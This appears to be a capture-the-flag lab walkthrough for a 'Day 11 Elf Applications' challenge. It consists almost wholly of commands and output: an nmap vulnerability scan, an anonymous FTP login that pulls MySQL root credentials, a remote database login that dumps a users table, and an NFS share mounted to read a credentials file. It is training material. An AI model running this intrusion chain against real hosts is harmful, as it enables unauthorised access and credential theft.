Advent of Cyber Day 11 Elf Applications

Copy 
1nmap -sV -sC --script vuln

Copy 
1kali@kali:~$ nmap -sV -sC 10.10.18.184
2Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-07 19:00 EDT
3Nmap scan report for 10.10.18.184
4Host is up (0.068s latency).
5Not shown: 996 closed ports
6PORT     STATE SERVICE VERSION
7"21/tcp"   open  ftp     vsftpd 3.0.2
8| ftp-anon: "Anonymous FTP login allowed" (FTP code 230)
9|_Can't get directory listing: PASV failed: 500 OOPS: invalid pasv_address
10| ftp-syst:
11|   STAT:
12| FTP server status:
13|      Connected to 10.9.45.74
14|      Logged in as ftp
15|      TYPE: ASCII
16|      No session bandwidth limit
17|      Session timeout in seconds is 300
18|      Control connection is plain text
19|      Data connections will be plain text
20|      At session startup, client count was 3
21|      vsFTPd 3.0.2 - secure, fast, stable
22|_End of status

Copy 
1ftp 10.10.18.184
2cred : anonymous
3pass : none

Copy 
1ftp> ls
2200 PORT command successful. Consider using PASV.
3150 Here comes the directory listing.
4-rwxrwxrwx    1 0        0              39 Dec 10 23:19 file.txt
5drwxr-xr-x    2 0        0               6 Nov 04  2019 pub
6d-wx-wx--x    2 14       50              6 Nov 04  2019 uploads
7-rw-r--r--    1 0        0             224 Nov 04  2019 welcome.msg
8226 Directory send OK.

Copy 
1ftp> get file.txt
2local: file.txt remote: file.txt
3200 PORT command successful. Consider using PASV.
4150 Opening BINARY mode data connection for file.txt (39 bytes).
5226 Transfer complete.
639 bytes received in 0.00 secs (507.8125 kB/s)

Copy 
1kali@kali:~$ cat file.txt
2remember to wipe mysql:
3"root"
4"ff912ABD*"

Copy 
1mysql -h 10.10.18.184 -uroot -pff912ABD*

Copy 
1kali@kali:~$ mysql -h 10.10.18.184 -uroot -pff912ABD*
2Welcome to the MariaDB monitor.  Commands end with ; or \g.
3Your MySQL connection id is 9
4Server version: 5.7.28 MySQL Community Server (GPL)
5
6Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
7
8Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
9
10MySQL [(none)]> show databases;
11+--------------------+
12| Database           |
13+--------------------+
14| information_schema |
15| data               |
16| mysql              |
17| performance_schema |
18| sys                |
19+--------------------+
205 rows in set (0.095 sec)

Copy 
1MySQL [(none)]> use data;
2Reading table information for completion of table and column names
3You can turn off this feature to get a quicker startup with -A
4
5Database changed
6MySQL [data]> show tables;
7+----------------+
8| Tables_in_data |
9+----------------+
10| USERS          |
11+----------------+
121 row in set (0.077 sec)

Copy 
1kali@kali:~$ sudo showmount -e 10.10.18.184
2Export list for 10.10.18.184:
3/opt/files *

Copy 
1kali@kali:~$ sudo mount 10.10.18.184:/opt/files /tmp
2kali@kali:~$ ls /tmp
3creds.txt
4kali@kali:~$ cat /tmp/creds.txt
5the password is **securepassword123**

Copy 
1kali@kali:~$ cat **file.txt**
2remember to wipe mysql:
3root
4ff912ABD*

Copy 
1MySQL [data]> SELECT * FROM USERS;
2+-------+--------------+
3| name  | password     |
4+-------+--------------+
5| admin | bestpassword |
6+-------+--------------+
71 row in set (0.067 sec)